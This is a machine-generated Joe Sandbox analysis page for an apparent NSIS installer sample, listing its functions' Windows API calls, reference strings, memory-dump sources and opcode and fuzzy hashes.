Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction ID: fa73a2a76dd28b4b8719808dd60f9f08d060129827b0ffc87b4efdc8f5ae5e12
Opcode Fuzzy Hash: e143629cae8b78290b003201c05bc4b587d1aa12e059c50f50ac21e9d0b7acf9
Instruction Fuzzy Hash: 3D21BFB1D00124BBCF116FA5DE48D9E7E79EF09364F10023AF9607A2E1CB794D418B98

Function 00404C0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
wsprintfW.USER32 ref: 00404CB6
SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

%u.%u%s%s, xrefs: 00404C97
(7B, xrefs: 00404C9F

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction ID: eedca0a42859d703ec1426aadcab00983e9769f6aa36ce56d5d2522b0312c54d
Opcode Fuzzy Hash: 44adf824a3a4d92ef29847c02d08b50033dbaa36d23830bd28d3a669162fbcd6
Instruction Fuzzy Hash: A711D873A0412837EB00556DAC45EDE3298EB85374F254237FA26F31D1D9798C6282E8

Function 0040667C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

Strings

*?|<>/":, xrefs: 004066CE

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction ID: ccb021e8c97aa0e4e9f296cc8cc4b0d2e06c32826977e33acd3911ee1a404cd3
Opcode Fuzzy Hash: 6f1dc59467bf7cdf849013f1baa50d92fe1cb62039c7f0915d7e3466f5f67e46
Instruction Fuzzy Hash: E011C82580061295DB302B548C44B77A2E8EF55764F52843FE985B32C1EB7D5CE28ABD

Function 0040176F Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,0040A5D8,0040A5D8,00000000,00000000,0040A5D8,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 55b9c7873fef6a42146c5bba3a7473b4437248d5263e1ddde9fdc16840247bc8
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e24a725036941366799e1b60f9567993ca488f5885cb4975d99fb3ecb50d70e9
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: cecd7757bc9d55480b756717b9ac07822063c1f28e7ac406cf665e6dd60447a2
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,75573420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3333404397.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3333384084.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333431004.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333452085.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3333476705.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

